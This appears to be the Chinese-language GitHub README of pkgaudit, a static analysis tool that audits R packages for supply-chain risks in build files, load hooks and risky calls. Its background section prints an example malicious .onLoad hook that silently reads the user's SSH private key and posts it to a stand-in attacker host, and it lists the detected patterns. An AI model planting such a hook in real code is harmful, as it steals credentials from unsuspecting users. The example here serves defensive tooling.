tylerjssmith/pkgaudit
GitHub: tylerjssmith/pkgaudit
pkgaudit 是一款针对 R 语言包的静态安全审计工具,通过扫描构建脚本、生命周期钩子和高风险函数调用来发现潜在的供应链安全威胁。
Stars: 0 | Forks: 0
# pkgaudit
[](https://github.com/tylerjssmith/pkgaudit/actions/workflows/R-CMD-check.yaml)
[](https://github.com/tylerjssmith/pkgaudit/actions/workflows/osv-scanner.yaml)
pkgaudit 为 R 包提供静态分析安全测试(SAST)。它会在 R 包中搜索可能在构建、检查和安装期间执行的文件,以及当包的 namespace 被加载、绑定、卸载或解除绑定时可能执行的代码。它还会扫描 R 源代码以查找与安全相关的模式。检查结果并不一定代表存在恶意意图——相反,在信任该包之前,应该先对这些结果进行审查。
## 背景
R 是一种统计编程语言,被广泛应用于处理敏感数据的环境中:临床试验分析、政府统计、金融风险建模、学术研究等等。
R 包是共享 R 代码的主要机制。它们也是潜在的攻击媒介。例如,当用户调用 `install.packages()` 或 `library()` 时,R 会自动执行顶层代码以及 `.onLoad()` 等钩子中的代码。如果该包捆绑了 C、C++ 或 Fortran 源代码,可能还会执行一个或多个脚本和类似 Make 的文件。
一个恶意或被篡改的包可以在用户系统上运行任意代码,而除了正常的 R 工作流程外,无需用户进行任何其他操作。
恶意 `.onLoad()` 钩子的一个最小化示例如下所示:
```
.onLoad <- function(libname, pkgname) {
tryCatch({
key <- paste(
readLines("~/.ssh/id_rsa"),
collapse = "\n"
)
httr::POST(
"https://attacker.com/collect",
body = list(key = key)
)
}, error = function(e) invisible(NULL))
}
```
这段代码会在每次加载该包时读取用户的 SSH 私钥,并将其发送到外部服务器。`tryCatch()` 包装器会抑制所有错误,因此该包会正常加载,用户看不到任何异常。
这并非理论上的风险。在与 R 相邻的生态系统中,已经记录过多次类似的攻击。2022 年,PyPI 上的 Python 包 ctx 被篡改,用于从数据科学家的系统中窃取环境变量——包括云凭证。2024 年,广泛使用的计算机视觉库 Python 包 ultralytics 被篡改,向其用户分发挖矿木马。
R 在处理敏感数据环境中的使用,使其成为对各类威胁行为者极具吸引力的目标。面临风险的资产既包括在 R 会话中处理的数据,也包括运行 R 的底层系统,这些系统提供了用于横向移动的计算资源和凭证。
pkgaudit 旨在为这种未受到充分重视的风险提供一道防线。pkgaudit 的检查结果不一定代表存在恶意代码,但潜在用户应在运行前对被标记的代码进行审查。
## 规则覆盖范围
v0.3.0 使用三种规则类别,将代码可以运行的*位置*与其执行的*内容*区分开来:
- **文件上下文** 是指 R 在构建、检查或安装期间执行的文件。
- **代码上下文** 是指当 namespace 被加载、绑定、卸载或解除绑定时,其函数体会自动运行的顶层代码和生命周期钩子。
- **模式** 是指与安全相关的函数调用。每个模式的检查结果都会被归因于其执行所在的代码上下文,因此 `.onLoad` 内部的 `system()` 调用会与普通函数(`Other`)内部或顶层(`Top-level`)的调用区分开来。
| Class | Rules |
|---|---|
| 文件上下文 | `configure`, `configure.win`, `configure.ucrt`, `configure.ac`, `configure.in`, `cleanup`, `cleanup.win`, `src/Makefile[.win/.ucrt]`, `src/GNUmakefile`, `src/Makevars[.in/.win/.ucrt]`, `src/install.libs.R` |
| 代码上下文 | `.onLoad`, `.onAttach`, `.onUnload`, `.onDetach`, `.Last.lib`, `rlang::on_load` |
| 模式 | `system()`/`system2()`/`shell()`, `eval(parse())`, `source()`, `download.file()`, `options(repos=)`, 以及通过 `curl`, `httr`, `httr2`, `RCurl` 进行对外 HTTP 请求 |
模式规则带有 [MITRE ATT&CK](https://attack.mitre.org/) 技术标签。限定(`pkg::fn()`)和非限定(`fn()`)调用形式均可被检测到。规则定义位于 [inst/rules/](inst/rules/) 目录下。
## 安装说明
您可以按照以下方式安装 pkgaudit:
```
remotes::install_github("tylerjssmith/pkgaudit")
```
## 数据库完整性
pkgaudit 使用随包发布在 `inst/db/rules.db` 中的 SQLite 规则数据库来检测模式。要验证您安装的数据库副本自发布以来是否被修改过,请将其 SHA-256 哈希值与此处发布的值进行核对:
```
digest::digest(
system.file("db", "rules.db", package = "pkgaudit"),
algo = "sha256",
file = TRUE
)
```
预期的 SHA-256:`c5bbc586c99d9845cc141b8b773238f95014700b68a5202c9cbcce813f79adbe`
每当重新构建数据库时,`inst/scripts/build_db.R` 会自动重新生成该哈希值,并且应该与上述值完全匹配。`load_rules()` 在每次调用时都会根据其内置的 `.sha256` 伴随文件验证数据库,并拒绝加载被修改过的数据库。
## 使用说明
源代码包压缩文件(tarball)可以在安装前按如下方式进行扫描:
```
library(pkgaudit)
rules <- load_rules()
result <- audit_tarball("path/to/foo_1.0.0.tar.gz", rules = rules)
result$file_contexts # security-relevant files
result$code_contexts # hooks / top-level code
result$patterns # security-relevant calls, each with its code_context
result$errors # any files or rules that could not be processed
result$metadata # package name/version, SHA-256, rules version, scan time
# audit_package() 返回一个 `pkgaudit` 对象,该对象带有 print 方法,用于
# 汇总 scan metadata 和 finding 计数:
print(result)
print(result, path = FALSE) # omit the local path from shared output
```
标签:R语言, SAST, StruQ, 盲注攻击, 错误基检测, 静态代码分析